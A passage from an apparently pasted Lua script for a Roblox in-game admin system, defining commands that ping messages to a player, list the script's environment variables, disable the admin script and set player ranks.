  1780. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  1781. Msg = tostring(Msg)
  1782. Ping(Msg, Speaker)
  1783. end)
  1784.  
  1785. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  1786. Dismiss(Speaker)
  1787. for i,v in pairs(getfenv(1)) do
  1788. ypcall(function()
  1789. Ping(tostring(i)..": "..tostring(v), Speaker)
  1790. end)
  1791. end
  1792. end)
  1793.  
  1794. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  1795. Dismiss()
  1796. Removed = true
  1797. for i,v in pairs(getfenv(1)) do
  1798. getfenv(1)[i] = nil
  1799. end
  1800. script.Disabled = true
  1801. end)
  1802.  
  1803. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  1804. local Split = GetSplit(Msg)
  1805. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1806. local Rank = tonumber(Msg:sub(Split + 1))
  1807. if #PlrTab > 0 then
  1808. for _,v in pairs(PlrTab) do
  1809. if v.Name ~= Owner then
  1810. ChangeRank(v, Rank)
  1811. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  1812. end
  1813. end
  1814. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement